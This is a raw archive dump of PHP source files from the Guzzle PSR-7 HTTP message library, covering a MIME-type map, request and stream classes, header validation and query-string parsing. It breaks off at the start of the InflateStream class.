        'war' => 'application/java-archive',
        'wasm' => 'application/wasm',
        'wav' => 'audio/x-wav',
        'wax' => 'audio/x-ms-wax',
        'wbmp' => 'image/vnd.wap.wbmp',
        'wbs' => 'application/vnd.criticaltools.wbs+xml',
        'wbxml' => 'application/wbxml',
        'wcm' => 'application/vnd.ms-works',
        'wdb' => 'application/vnd.ms-works',
        'wdp' => 'image/vnd.ms-photo',
        'weba' => 'audio/webm',
        'webapp' => 'application/x-web-app-manifest+json',
        'webm' => 'video/webm',
        'webmanifest' => 'application/manifest+json',
        'webp' => 'image/webp',
        'wg' => 'application/vnd.pmi.widget',
        'wgsl' => 'text/wgsl',
        'wgt' => 'application/widget',
        'wif' => 'application/watcherinfo+xml',
        'wks' => 'application/vnd.ms-works',
        'wm' => 'video/x-ms-wm',
        'wma' => 'audio/x-ms-wma',
        'wmd' => 'application/x-ms-wmd',
        'wmf' => 'image/wmf',
        'wml' => 'text/vnd.wap.wml',
        'wmlc' => 'application/wmlc',
        'wmls' => 'text/vnd.wap.wmlscript',
        'wmlsc' => 'application/vnd.wap.wmlscriptc',
        'wmv' => 'video/x-ms-wmv',
        'wmx' => 'video/x-ms-wmx',
        'wmz' => 'application/x-msmetafile',
        'woff' => 'font/woff',
        'woff2' => 'font/woff2',
        'word' => 'application/msword',
        'wpd' => 'application/vnd.wordperfect',
        'wpl' => 'application/vnd.ms-wpl',
        'wps' => 'application/vnd.ms-works',
        'wqd' => 'application/vnd.wqd',
        'wri' => 'application/x-mswrite',
        'wrl' => 'model/vrml',
        'wsc' => 'message/vnd.wfa.wsc',
        'wsdl' => 'application/wsdl+xml',
        'wspolicy' => 'application/wspolicy+xml',
        'wtb' => 'application/vnd.webturbo',
        'wvx' => 'video/x-ms-wvx',
        'x3d' => 'model/x3d+xml',
        'x3db' => 'model/x3d+fastinfoset',
        'x3dbz' => 'model/x3d+binary',
        'x3dv' => 'model/x3d-vrml',
        'x3dvz' => 'model/x3d+vrml',
        'x3dz' => 'model/x3d+xml',
        'x32' => 'application/x-authorware-bin',
        'x_b' => 'model/vnd.parasolid.transmit.binary',
        'x_t' => 'model/vnd.parasolid.transmit.text',
        'xaml' => 'application/xaml+xml',
        'xap' => 'application/x-silverlight-app',
        'xar' => 'application/vnd.xara',
        'xav' => 'application/xcap-att+xml',
        'xbap' => 'application/x-ms-xbap',
        'xbd' => 'application/vnd.fujixerox.docuworks.binder',
        'xbm' => 'image/x-xbitmap',
        'xca' => 'application/xcap-caps+xml',
        'xcs' => 'application/calendar+xml',
        'xdf' => 'application/xcap-diff+xml',
        'xdm' => 'application/vnd.syncml.dm+xml',
        'xdp' => 'application/vnd.adobe.xdp+xml',
        'xdssc' => 'application/dssc+xml',
        'xdw' => 'application/vnd.fujixerox.docuworks',
        'xel' => 'application/xcap-el+xml',
        'xenc' => 'application/xenc+xml',
        'xer' => 'application/patch-ops-error+xml',
        'xfdf' => 'application/xfdf',
        'xfdl' => 'application/vnd.xfdl',
        'xht' => 'application/xhtml+xml',
        'xhtm' => 'application/vnd.pwg-xhtml-print+xml',
        'xhtml' => 'application/xhtml+xml',
        'xhvml' => 'application/xv+xml',
        'xif' => 'image/vnd.xiff',
        'xl' => 'application/excel',
        'xla' => 'application/vnd.ms-excel',
        'xlam' => 'application/vnd.ms-excel.addin.macroEnabled.12',
        'xlc' => 'application/vnd.ms-excel',
        'xlf' => 'application/xliff+xml',
        'xlm' => 'application/vnd.ms-excel',
        'xls' => 'application/vnd.ms-excel',
        'xlsb' => 'application/vnd.ms-excel.sheet.binary.macroEnabled.12',
        'xlsm' => 'application/vnd.ms-excel.sheet.macroEnabled.12',
        'xlsx' => 'application/vnd.openxmlformats-officedocument.spreadsheetml.sheet',
        'xlt' => 'application/vnd.ms-excel',
        'xltm' => 'application/vnd.ms-excel.template.macroEnabled.12',
        'xltx' => 'application/vnd.openxmlformats-officedocument.spreadsheetml.template',
        'xlw' => 'application/vnd.ms-excel',
        'xm' => 'audio/xm',
        'xml' => 'application/xml',
        'xns' => 'application/xcap-ns+xml',
        'xo' => 'application/vnd.olpc-sugar',
        'xop' => 'application/xop+xml',
        'xpi' => 'application/x-xpinstall',
        'xpl' => 'application/xproc+xml',
        'xpm' => 'image/x-xpixmap',
        'xpr' => 'application/vnd.is-xpr',
        'xps' => 'application/vnd.ms-xpsdocument',
        'xpw' => 'application/vnd.intercon.formnet',
        'xpx' => 'application/vnd.intercon.formnet',
        'xsd' => 'application/xml',
        'xsf' => 'application/prs.xsf+xml',
        'xsl' => 'application/xml',
        'xslt' => 'application/xslt+xml',
        'xsm' => 'application/vnd.syncml+xml',
        'xspf' => 'application/xspf+xml',
        'xul' => 'application/vnd.mozilla.xul+xml',
        'xvm' => 'application/xv+xml',
        'xvml' => 'application/xv+xml',
        'xwd' => 'image/x-xwindowdump',
        'xyz' => 'chemical/x-xyz',
        'xz' => 'application/x-xz',
        'yaml' => 'text/yaml',
        'yang' => 'application/yang',
        'yin' => 'application/yin+xml',
        'yml' => 'text/yaml',
        'ymp' => 'text/x-suse-ymp',
        'z' => 'application/x-compress',
        'z1' => 'application/x-zmachine',
        'z2' => 'application/x-zmachine',
        'z3' => 'application/x-zmachine',
        'z4' => 'application/x-zmachine',
        'z5' => 'application/x-zmachine',
        'z6' => 'application/x-zmachine',
        'z7' => 'application/x-zmachine',
        'z8' => 'application/x-zmachine',
        'zaz' => 'application/vnd.zzazz.deck+xml',
        'zip' => 'application/zip',
        'zir' => 'application/vnd.zul',
        'zirz' => 'application/vnd.zul',
        'zmm' => 'application/vnd.handheld-entertainment+xml',
        'zsh' => 'text/x-scriptzsh',
    ];

    /**
     * Determines the mimetype of a file by looking at its extension.
     *
     * @see https://raw.githubusercontent.com/jshttp/mime-db/master/db.json
     */
    public static function fromFilename(string $filename): ?string
    {
        return self::fromExtension(pathinfo($filename, PATHINFO_EXTENSION));
    }

    /**
     * Maps a file extensions to a mimetype.
     *
     * @see https://raw.githubusercontent.com/jshttp/mime-db/master/db.json
     */
    public static function fromExtension(string $extension): ?string
    {
        return self::MIME_TYPES[strtolower($extension)] ?? null;
    }
}
PK
h�\�hiD*vendor/guzzlehttp/psr7/src/HttpFactory.phpnu�[���<?php

declare(strict_types=1);

namespace GuzzleHttp\Psr7;

use Psr\Http\Message\RequestFactoryInterface;
use Psr\Http\Message\RequestInterface;
use Psr\Http\Message\ResponseFactoryInterface;
use Psr\Http\Message\ResponseInterface;
use Psr\Http\Message\ServerRequestFactoryInterface;
use Psr\Http\Message\ServerRequestInterface;
use Psr\Http\Message\StreamFactoryInterface;
use Psr\Http\Message\StreamInterface;
use Psr\Http\Message\UploadedFileFactoryInterface;
use Psr\Http\Message\UploadedFileInterface;
use Psr\Http\Message\UriFactoryInterface;
use Psr\Http\Message\UriInterface;

/**
 * Implements all of the PSR-17 interfaces.
 *
 * Note: in consuming code it is recommended to require the implemented interfaces
 * and inject the instance of this class multiple times.
 */
final class HttpFactory implements RequestFactoryInterface, ResponseFactoryInterface, ServerRequestFactoryInterface, StreamFactoryInterface, UploadedFileFactoryInterface, UriFactoryInterface
{
    public function createUploadedFile(
        StreamInterface $stream,
        int $size = null,
        int $error = \UPLOAD_ERR_OK,
        string $clientFilename = null,
        string $clientMediaType = null
    ): UploadedFileInterface {
        if ($size === null) {
            $size = $stream->getSize();
        }

        return new UploadedFile($stream, $size, $error, $clientFilename, $clientMediaType);
    }

    public function createStream(string $content = ''): StreamInterface
    {
        return Utils::streamFor($content);
    }

    public function createStreamFromFile(string $file, string $mode = 'r'): StreamInterface
    {
        try {
            $resource = Utils::tryFopen($file, $mode);
        } catch (\RuntimeException $e) {
            if ('' === $mode || false === \in_array($mode[0], ['r', 'w', 'a', 'x', 'c'], true)) {
                throw new \InvalidArgumentException(sprintf('Invalid file opening mode "%s"', $mode), 0, $e);
            }

            throw $e;
        }

        return Utils::streamFor($resource);
    }

    public function createStreamFromResource($resource): StreamInterface
    {
        return Utils::streamFor($resource);
    }

    public function createServerRequest(string $method, $uri, array $serverParams = []): ServerRequestInterface
    {
        if (empty($method)) {
            if (!empty($serverParams['REQUEST_METHOD'])) {
                $method = $serverParams['REQUEST_METHOD'];
            } else {
                throw new \InvalidArgumentException('Cannot determine HTTP method');
            }
        }

        return new ServerRequest($method, $uri, [], null, '1.1', $serverParams);
    }

    public function createResponse(int $code = 200, string $reasonPhrase = ''): ResponseInterface
    {
        return new Response($code, [], null, '1.1', $reasonPhrase);
    }

    public function createRequest(string $method, $uri): RequestInterface
    {
        return new Request($method, $uri);
    }

    public function createUri(string $uri = ''): UriInterface
    {
        return new Uri($uri);
    }
}
PK
h�\�Dy��+vendor/guzzlehttp/psr7/src/BufferStream.phpnu�[���<?php

declare(strict_types=1);

namespace GuzzleHttp\Psr7;

use Psr\Http\Message\StreamInterface;

/**
 * Provides a buffer stream that can be written to to fill a buffer, and read
 * from to remove bytes from the buffer.
 *
 * This stream returns a "hwm" metadata value that tells upstream consumers
 * what the configured high water mark of the stream is, or the maximum
 * preferred size of the buffer.
 */
final class BufferStream implements StreamInterface
{
    /** @var int */
    private $hwm;

    /** @var string */
    private $buffer = '';

    /**
     * @param int $hwm High water mark, representing the preferred maximum
     *                 buffer size. If the size of the buffer exceeds the high
     *                 water mark, then calls to write will continue to succeed
     *                 but will return 0 to inform writers to slow down
     *                 until the buffer has been drained by reading from it.
     */
    public function __construct(int $hwm = 16384)
    {
        $this->hwm = $hwm;
    }

    public function __toString(): string
    {
        return $this->getContents();
    }

    public function getContents(): string
    {
        $buffer = $this->buffer;
        $this->buffer = '';

        return $buffer;
    }

    public function close(): void
    {
        $this->buffer = '';
    }

    public function detach()
    {
        $this->close();

        return null;
    }

    public function getSize(): ?int
    {
        return strlen($this->buffer);
    }

    public function isReadable(): bool
    {
        return true;
    }

    public function isWritable(): bool
    {
        return true;
    }

    public function isSeekable(): bool
    {
        return false;
    }

    public function rewind(): void
    {
        $this->seek(0);
    }

    public function seek($offset, $whence = SEEK_SET): void
    {
        throw new \RuntimeException('Cannot seek a BufferStream');
    }

    public function eof(): bool
    {
        return strlen($this->buffer) === 0;
    }

    public function tell(): int
    {
        throw new \RuntimeException('Cannot determine the position of a BufferStream');
    }

    /**
     * Reads data from the buffer.
     */
    public function read($length): string
    {
        $currentLength = strlen($this->buffer);

        if ($length >= $currentLength) {
            // No need to slice the buffer because we don't have enough data.
            $result = $this->buffer;
            $this->buffer = '';
        } else {
            // Slice up the result to provide a subset of the buffer.
            $result = substr($this->buffer, 0, $length);
            $this->buffer = substr($this->buffer, $length);
        }

        return $result;
    }

    /**
     * Writes data to the buffer.
     */
    public function write($string): int
    {
        $this->buffer .= $string;

        if (strlen($this->buffer) >= $this->hwm) {
            return 0;
        }

        return strlen($string);
    }

    /**
     * @return mixed
     */
    public function getMetadata($key = null)
    {
        if ($key === 'hwm') {
            return $this->hwm;
        }

        return $key ? null : [];
    }
}
PK
h�\�-�M%M%,vendor/guzzlehttp/psr7/src/ServerRequest.phpnu�[���<?php

declare(strict_types=1);

namespace GuzzleHttp\Psr7;

use InvalidArgumentException;
use Psr\Http\Message\ServerRequestInterface;
use Psr\Http\Message\StreamInterface;
use Psr\Http\Message\UploadedFileInterface;
use Psr\Http\Message\UriInterface;

/**
 * Server-side HTTP request
 *
 * Extends the Request definition to add methods for accessing incoming data,
 * specifically server parameters, cookies, matched path parameters, query
 * string arguments, body parameters, and upload file information.
 *
 * "Attributes" are discovered via decomposing the request (and usually
 * specifically the URI path), and typically will be injected by the application.
 *
 * Requests are considered immutable; all methods that might change state are
 * implemented such that they retain the internal state of the current
 * message and return a new instance that contains the changed state.
 */
class ServerRequest extends Request implements ServerRequestInterface
{
    /**
     * @var array
     */
    private $attributes = [];

    /**
     * @var array
     */
    private $cookieParams = [];

    /**
     * @var array|object|null
     */
    private $parsedBody;

    /**
     * @var array
     */
    private $queryParams = [];

    /**
     * @var array
     */
    private $serverParams;

    /**
     * @var array
     */
    private $uploadedFiles = [];

    /**
     * @param string                               $method       HTTP method
     * @param string|UriInterface                  $uri          URI
     * @param (string|string[])[]                  $headers      Request headers
     * @param string|resource|StreamInterface|null $body         Request body
     * @param string                               $version      Protocol version
     * @param array                                $serverParams Typically the $_SERVER superglobal
     */
    public function __construct(
        string $method,
        $uri,
        array $headers = [],
        $body = null,
        string $version = '1.1',
        array $serverParams = []
    ) {
        $this->serverParams = $serverParams;

        parent::__construct($method, $uri, $headers, $body, $version);
    }

    /**
     * Return an UploadedFile instance array.
     *
     * @param array $files An array which respect $_FILES structure
     *
     * @throws InvalidArgumentException for unrecognized values
     */
    public static function normalizeFiles(array $files): array
    {
        $normalized = [];

        foreach ($files as $key => $value) {
            if ($value instanceof UploadedFileInterface) {
                $normalized[$key] = $value;
            } elseif (is_array($value) && isset($value['tmp_name'])) {
                $normalized[$key] = self::createUploadedFileFromSpec($value);
            } elseif (is_array($value)) {
                $normalized[$key] = self::normalizeFiles($value);
                continue;
            } else {
                throw new InvalidArgumentException('Invalid value in files specification');
            }
        }

        return $normalized;
    }

    /**
     * Create and return an UploadedFile instance from a $_FILES specification.
     *
     * If the specification represents an array of values, this method will
     * delegate to normalizeNestedFileSpec() and return that return value.
     *
     * @param array $value $_FILES struct
     *
     * @return UploadedFileInterface|UploadedFileInterface[]
     */
    private static function createUploadedFileFromSpec(array $value)
    {
        if (is_array($value['tmp_name'])) {
            return self::normalizeNestedFileSpec($value);
        }

        return new UploadedFile(
            $value['tmp_name'],
            (int) $value['size'],
            (int) $value['error'],
            $value['name'],
            $value['type']
        );
    }

    /**
     * Normalize an array of file specifications.
     *
     * Loops through all nested files and returns a normalized array of
     * UploadedFileInterface instances.
     *
     * @return UploadedFileInterface[]
     */
    private static function normalizeNestedFileSpec(array $files = []): array
    {
        $normalizedFiles = [];

        foreach (array_keys($files['tmp_name']) as $key) {
            $spec = [
                'tmp_name' => $files['tmp_name'][$key],
                'size' => $files['size'][$key] ?? null,
                'error' => $files['error'][$key] ?? null,
                'name' => $files['name'][$key] ?? null,
                'type' => $files['type'][$key] ?? null,
            ];
            $normalizedFiles[$key] = self::createUploadedFileFromSpec($spec);
        }

        return $normalizedFiles;
    }

    /**
     * Return a ServerRequest populated with superglobals:
     * $_GET
     * $_POST
     * $_COOKIE
     * $_FILES
     * $_SERVER
     */
    public static function fromGlobals(): ServerRequestInterface
    {
        $method = $_SERVER['REQUEST_METHOD'] ?? 'GET';
        $headers = getallheaders();
        $uri = self::getUriFromGlobals();
        $body = new CachingStream(new LazyOpenStream('php://input', 'r+'));
        $protocol = isset($_SERVER['SERVER_PROTOCOL']) ? str_replace('HTTP/', '', $_SERVER['SERVER_PROTOCOL']) : '1.1';

        $serverRequest = new ServerRequest($method, $uri, $headers, $body, $protocol, $_SERVER);

        return $serverRequest
            ->withCookieParams($_COOKIE)
            ->withQueryParams($_GET)
            ->withParsedBody($_POST)
            ->withUploadedFiles(self::normalizeFiles($_FILES));
    }

    private static function extractHostAndPortFromAuthority(string $authority): array
    {
        $uri = 'http://'.$authority;
        $parts = parse_url($uri);
        if (false === $parts) {
            return [null, null];
        }

        $host = $parts['host'] ?? null;
        $port = $parts['port'] ?? null;

        return [$host, $port];
    }

    /**
     * Get a Uri populated with values from $_SERVER.
     */
    public static function getUriFromGlobals(): UriInterface
    {
        $uri = new Uri('');

        $uri = $uri->withScheme(!empty($_SERVER['HTTPS']) && $_SERVER['HTTPS'] !== 'off' ? 'https' : 'http');

        $hasPort = false;
        if (isset($_SERVER['HTTP_HOST'])) {
            [$host, $port] = self::extractHostAndPortFromAuthority($_SERVER['HTTP_HOST']);
            if ($host !== null) {
                $uri = $uri->withHost($host);
            }

            if ($port !== null) {
                $hasPort = true;
                $uri = $uri->withPort($port);
            }
        } elseif (isset($_SERVER['SERVER_NAME'])) {
            $uri = $uri->withHost($_SERVER['SERVER_NAME']);
        } elseif (isset($_SERVER['SERVER_ADDR'])) {
            $uri = $uri->withHost($_SERVER['SERVER_ADDR']);
        }

        if (!$hasPort && isset($_SERVER['SERVER_PORT'])) {
            $uri = $uri->withPort($_SERVER['SERVER_PORT']);
        }

        $hasQuery = false;
        if (isset($_SERVER['REQUEST_URI'])) {
            $requestUriParts = explode('?', $_SERVER['REQUEST_URI'], 2);
            $uri = $uri->withPath($requestUriParts[0]);
            if (isset($requestUriParts[1])) {
                $hasQuery = true;
                $uri = $uri->withQuery($requestUriParts[1]);
            }
        }

        if (!$hasQuery && isset($_SERVER['QUERY_STRING'])) {
            $uri = $uri->withQuery($_SERVER['QUERY_STRING']);
        }

        return $uri;
    }

    public function getServerParams(): array
    {
        return $this->serverParams;
    }

    public function getUploadedFiles(): array
    {
        return $this->uploadedFiles;
    }

    public function withUploadedFiles(array $uploadedFiles): ServerRequestInterface
    {
        $new = clone $this;
        $new->uploadedFiles = $uploadedFiles;

        return $new;
    }

    public function getCookieParams(): array
    {
        return $this->cookieParams;
    }

    public function withCookieParams(array $cookies): ServerRequestInterface
    {
        $new = clone $this;
        $new->cookieParams = $cookies;

        return $new;
    }

    public function getQueryParams(): array
    {
        return $this->queryParams;
    }

    public function withQueryParams(array $query): ServerRequestInterface
    {
        $new = clone $this;
        $new->queryParams = $query;

        return $new;
    }

    /**
     * @return array|object|null
     */
    public function getParsedBody()
    {
        return $this->parsedBody;
    }

    public function withParsedBody($data): ServerRequestInterface
    {
        $new = clone $this;
        $new->parsedBody = $data;

        return $new;
    }

    public function getAttributes(): array
    {
        return $this->attributes;
    }

    /**
     * @return mixed
     */
    public function getAttribute($attribute, $default = null)
    {
        if (false === array_key_exists($attribute, $this->attributes)) {
            return $default;
        }

        return $this->attributes[$attribute];
    }

    public function withAttribute($attribute, $value): ServerRequestInterface
    {
        $new = clone $this;
        $new->attributes[$attribute] = $value;

        return $new;
    }

    public function withoutAttribute($attribute): ServerRequestInterface
    {
        if (false === array_key_exists($attribute, $this->attributes)) {
            return $this;
        }

        $new = clone $this;
        unset($new->attributes[$attribute]);

        return $new;
    }
}
PK
h�\������,vendor/guzzlehttp/psr7/src/CachingStream.phpnu�[���<?php

declare(strict_types=1);

namespace GuzzleHttp\Psr7;

use Psr\Http\Message\StreamInterface;

/**
 * Stream decorator that can cache previously read bytes from a sequentially
 * read stream.
 */
final class CachingStream implements StreamInterface
{
    use StreamDecoratorTrait;

    /** @var StreamInterface Stream being wrapped */
    private $remoteStream;

    /** @var int Number of bytes to skip reading due to a write on the buffer */
    private $skipReadBytes = 0;

    /**
     * @var StreamInterface
     */
    private $stream;

    /**
     * We will treat the buffer object as the body of the stream
     *
     * @param StreamInterface $stream Stream to cache. The cursor is assumed to be at the beginning of the stream.
     * @param StreamInterface $target Optionally specify where data is cached
     */
    public function __construct(
        StreamInterface $stream,
        StreamInterface $target = null
    ) {
        $this->remoteStream = $stream;
        $this->stream = $target ?: new Stream(Utils::tryFopen('php://temp', 'r+'));
    }

    public function getSize(): ?int
    {
        $remoteSize = $this->remoteStream->getSize();

        if (null === $remoteSize) {
            return null;
        }

        return max($this->stream->getSize(), $remoteSize);
    }

    public function rewind(): void
    {
        $this->seek(0);
    }

    public function seek($offset, $whence = SEEK_SET): void
    {
        if ($whence === SEEK_SET) {
            $byte = $offset;
        } elseif ($whence === SEEK_CUR) {
            $byte = $offset + $this->tell();
        } elseif ($whence === SEEK_END) {
            $size = $this->remoteStream->getSize();
            if ($size === null) {
                $size = $this->cacheEntireStream();
            }
            $byte = $size + $offset;
        } else {
            throw new \InvalidArgumentException('Invalid whence');
        }

        $diff = $byte - $this->stream->getSize();

        if ($diff > 0) {
            // Read the remoteStream until we have read in at least the amount
            // of bytes requested, or we reach the end of the file.
            while ($diff > 0 && !$this->remoteStream->eof()) {
                $this->read($diff);
                $diff = $byte - $this->stream->getSize();
            }
        } else {
            // We can just do a normal seek since we've already seen this byte.
            $this->stream->seek($byte);
        }
    }

    public function read($length): string
    {
        // Perform a regular read on any previously read data from the buffer
        $data = $this->stream->read($length);
        $remaining = $length - strlen($data);

        // More data was requested so read from the remote stream
        if ($remaining) {
            // If data was written to the buffer in a position that would have
            // been filled from the remote stream, then we must skip bytes on
            // the remote stream to emulate overwriting bytes from that
            // position. This mimics the behavior of other PHP stream wrappers.
            $remoteData = $this->remoteStream->read(
                $remaining + $this->skipReadBytes
            );

            if ($this->skipReadBytes) {
                $len = strlen($remoteData);
                $remoteData = substr($remoteData, $this->skipReadBytes);
                $this->skipReadBytes = max(0, $this->skipReadBytes - $len);
            }

            $data .= $remoteData;
            $this->stream->write($remoteData);
        }

        return $data;
    }

    public function write($string): int
    {
        // When appending to the end of the currently read stream, you'll want
        // to skip bytes from being read from the remote stream to emulate
        // other stream wrappers. Basically replacing bytes of data of a fixed
        // length.
        $overflow = (strlen($string) + $this->tell()) - $this->remoteStream->tell();
        if ($overflow > 0) {
            $this->skipReadBytes += $overflow;
        }

        return $this->stream->write($string);
    }

    public function eof(): bool
    {
        return $this->stream->eof() && $this->remoteStream->eof();
    }

    /**
     * Close both the remote stream and buffer stream
     */
    public function close(): void
    {
        $this->remoteStream->close();
        $this->stream->close();
    }

    private function cacheEntireStream(): int
    {
        $target = new FnStream(['write' => 'strlen']);
        Utils::copyToStream($this, $target);

        return $this->tell();
    }
}
PK
h�\@@+vendor/guzzlehttp/psr7/src/MessageTrait.phpnu�[���<?php

declare(strict_types=1);

namespace GuzzleHttp\Psr7;

use Psr\Http\Message\MessageInterface;
use Psr\Http\Message\StreamInterface;

/**
 * Trait implementing functionality common to requests and responses.
 */
trait MessageTrait
{
    /** @var string[][] Map of all registered headers, as original name => array of values */
    private $headers = [];

    /** @var string[] Map of lowercase header name => original name at registration */
    private $headerNames = [];

    /** @var string */
    private $protocol = '1.1';

    /** @var StreamInterface|null */
    private $stream;

    public function getProtocolVersion(): string
    {
        return $this->protocol;
    }

    public function withProtocolVersion($version): MessageInterface
    {
        if ($this->protocol === $version) {
            return $this;
        }

        $new = clone $this;
        $new->protocol = $version;

        return $new;
    }

    public function getHeaders(): array
    {
        return $this->headers;
    }

    public function hasHeader($header): bool
    {
        return isset($this->headerNames[strtolower($header)]);
    }

    public function getHeader($header): array
    {
        $header = strtolower($header);

        if (!isset($this->headerNames[$header])) {
            return [];
        }

        $header = $this->headerNames[$header];

        return $this->headers[$header];
    }

    public function getHeaderLine($header): string
    {
        return implode(', ', $this->getHeader($header));
    }

    public function withHeader($header, $value): MessageInterface
    {
        $this->assertHeader($header);
        $value = $this->normalizeHeaderValue($value);
        $normalized = strtolower($header);

        $new = clone $this;
        if (isset($new->headerNames[$normalized])) {
            unset($new->headers[$new->headerNames[$normalized]]);
        }
        $new->headerNames[$normalized] = $header;
        $new->headers[$header] = $value;

        return $new;
    }

    public function withAddedHeader($header, $value): MessageInterface
    {
        $this->assertHeader($header);
        $value = $this->normalizeHeaderValue($value);
        $normalized = strtolower($header);

        $new = clone $this;
        if (isset($new->headerNames[$normalized])) {
            $header = $this->headerNames[$normalized];
            $new->headers[$header] = array_merge($this->headers[$header], $value);
        } else {
            $new->headerNames[$normalized] = $header;
            $new->headers[$header] = $value;
        }

        return $new;
    }

    public function withoutHeader($header): MessageInterface
    {
        $normalized = strtolower($header);

        if (!isset($this->headerNames[$normalized])) {
            return $this;
        }

        $header = $this->headerNames[$normalized];

        $new = clone $this;
        unset($new->headers[$header], $new->headerNames[$normalized]);

        return $new;
    }

    public function getBody(): StreamInterface
    {
        if (!$this->stream) {
            $this->stream = Utils::streamFor('');
        }

        return $this->stream;
    }

    public function withBody(StreamInterface $body): MessageInterface
    {
        if ($body === $this->stream) {
            return $this;
        }

        $new = clone $this;
        $new->stream = $body;

        return $new;
    }

    /**
     * @param (string|string[])[] $headers
     */
    private function setHeaders(array $headers): void
    {
        $this->headerNames = $this->headers = [];
        foreach ($headers as $header => $value) {
            // Numeric array keys are converted to int by PHP.
            $header = (string) $header;

            $this->assertHeader($header);
            $value = $this->normalizeHeaderValue($value);
            $normalized = strtolower($header);
            if (isset($this->headerNames[$normalized])) {
                $header = $this->headerNames[$normalized];
                $this->headers[$header] = array_merge($this->headers[$header], $value);
            } else {
                $this->headerNames[$normalized] = $header;
                $this->headers[$header] = $value;
            }
        }
    }

    /**
     * @param mixed $value
     *
     * @return string[]
     */
    private function normalizeHeaderValue($value): array
    {
        if (!is_array($value)) {
            return $this->trimAndValidateHeaderValues([$value]);
        }

        if (count($value) === 0) {
            throw new \InvalidArgumentException('Header value can not be an empty array.');
        }

        return $this->trimAndValidateHeaderValues($value);
    }

    /**
     * Trims whitespace from the header values.
     *
     * Spaces and tabs ought to be excluded by parsers when extracting the field value from a header field.
     *
     * header-field = field-name ":" OWS field-value OWS
     * OWS          = *( SP / HTAB )
     *
     * @param mixed[] $values Header values
     *
     * @return string[] Trimmed header values
     *
     * @see https://datatracker.ietf.org/doc/html/rfc7230#section-3.2.4
     */
    private function trimAndValidateHeaderValues(array $values): array
    {
        return array_map(function ($value) {
            if (!is_scalar($value) && null !== $value) {
                throw new \InvalidArgumentException(sprintf(
                    'Header value must be scalar or null but %s provided.',
                    is_object($value) ? get_class($value) : gettype($value)
                ));
            }

            $trimmed = trim((string) $value, " \t");
            $this->assertValue($trimmed);

            return $trimmed;
        }, array_values($values));
    }

    /**
     * @see https://datatracker.ietf.org/doc/html/rfc7230#section-3.2
     *
     * @param mixed $header
     */
    private function assertHeader($header): void
    {
        if (!is_string($header)) {
            throw new \InvalidArgumentException(sprintf(
                'Header name must be a string but %s provided.',
                is_object($header) ? get_class($header) : gettype($header)
            ));
        }

        if (!preg_match('/^[a-zA-Z0-9\'`#$%&*+.^_|~!-]+$/D', $header)) {
            throw new \InvalidArgumentException(
                sprintf('"%s" is not valid header name.', $header)
            );
        }
    }

    /**
     * @see https://datatracker.ietf.org/doc/html/rfc7230#section-3.2
     *
     * field-value    = *( field-content / obs-fold )
     * field-content  = field-vchar [ 1*( SP / HTAB ) field-vchar ]
     * field-vchar    = VCHAR / obs-text
     * VCHAR          = %x21-7E
     * obs-text       = %x80-FF
     * obs-fold       = CRLF 1*( SP / HTAB )
     */
    private function assertValue(string $value): void
    {
        // The regular expression intentionally does not support the obs-fold production, because as
        // per RFC 7230#3.2.4:
        //
        // A sender MUST NOT generate a message that includes
        // line folding (i.e., that has any field-value that contains a match to
        // the obs-fold rule) unless the message is intended for packaging
        // within the message/http media type.
        //
        // Clients must not send a request with line folding and a server sending folded headers is
        // likely very rare. Line folding is a fairly obscure feature of HTTP/1.1 and thus not accepting
        // folding is not likely to break any legitimate use case.
        if (!preg_match('/^[\x20\x09\x21-\x7E\x80-\xFF]*$/D', $value)) {
            throw new \InvalidArgumentException(
                sprintf('"%s" is not valid header value.', $value)
            );
        }
    }
}
PK
h�\!.��??$vendor/guzzlehttp/psr7/src/Query.phpnu�[���<?php

declare(strict_types=1);

namespace GuzzleHttp\Psr7;

final class Query
{
    /**
     * Parse a query string into an associative array.
     *
     * If multiple values are found for the same key, the value of that key
     * value pair will become an array. This function does not parse nested
     * PHP style arrays into an associative array (e.g., `foo[a]=1&foo[b]=2`
     * will be parsed into `['foo[a]' => '1', 'foo[b]' => '2'])`.
     *
     * @param string   $str         Query string to parse
     * @param int|bool $urlEncoding How the query string is encoded
     */
    public static function parse(string $str, $urlEncoding = true): array
    {
        $result = [];

        if ($str === '') {
            return $result;
        }

        if ($urlEncoding === true) {
            $decoder = function ($value) {
                return rawurldecode(str_replace('+', ' ', (string) $value));
            };
        } elseif ($urlEncoding === PHP_QUERY_RFC3986) {
            $decoder = 'rawurldecode';
        } elseif ($urlEncoding === PHP_QUERY_RFC1738) {
            $decoder = 'urldecode';
        } else {
            $decoder = function ($str) {
                return $str;
            };
        }

        foreach (explode('&', $str) as $kvp) {
            $parts = explode('=', $kvp, 2);
            $key = $decoder($parts[0]);
            $value = isset($parts[1]) ? $decoder($parts[1]) : null;
            if (!array_key_exists($key, $result)) {
                $result[$key] = $value;
            } else {
                if (!is_array($result[$key])) {
                    $result[$key] = [$result[$key]];
                }
                $result[$key][] = $value;
            }
        }

        return $result;
    }

    /**
     * Build a query string from an array of key value pairs.
     *
     * This function can use the return value of `parse()` to build a query
     * string. This function does not modify the provided keys when an array is
     * encountered (like `http_build_query()` would).
     *
     * @param array     $params   Query string parameters.
     * @param int|false $encoding Set to false to not encode, PHP_QUERY_RFC3986
     *                            to encode using RFC3986, or PHP_QUERY_RFC1738
     *                            to encode using RFC1738.
     */
    public static function build(array $params, $encoding = PHP_QUERY_RFC3986): string
    {
        if (!$params) {
            return '';
        }

        if ($encoding === false) {
            $encoder = function (string $str): string {
                return $str;
            };
        } elseif ($encoding === PHP_QUERY_RFC3986) {
            $encoder = 'rawurlencode';
        } elseif ($encoding === PHP_QUERY_RFC1738) {
            $encoder = 'urlencode';
        } else {
            throw new \InvalidArgumentException('Invalid type');
        }

        $qs = '';
        foreach ($params as $k => $v) {
            $k = $encoder((string) $k);
            if (!is_array($v)) {
                $qs .= $k;
                $v = is_bool($v) ? (int) $v : $v;
                if ($v !== null) {
                    $qs .= '='.$encoder((string) $v);
                }
                $qs .= '&';
            } else {
                foreach ($v as $vv) {
                    $qs .= $k;
                    $vv = is_bool($vv) ? (int) $vv : $vv;
                    if ($vv !== null) {
                        $qs .= '='.$encoder((string) $vv);
                    }
                    $qs .= '&';
                }
            }
        }

        return $qs ? (string) substr($qs, 0, -1) : '';
    }
}
PK
h�\��k��,vendor/guzzlehttp/psr7/src/InflateStream.phpnu�[���<?php

declare(strict_types=1);

namespace GuzzleHttp\Psr7;

use Psr\Http\Message\StreamInterface;

/**
 * Uses PHP's zlib.inflate filter to inflate zlib (HTTP deflate, RFC1950) or gzipped (RFC1952) content.
 *
 * This stream decorator converts the provided stream to a PHP stream resource,
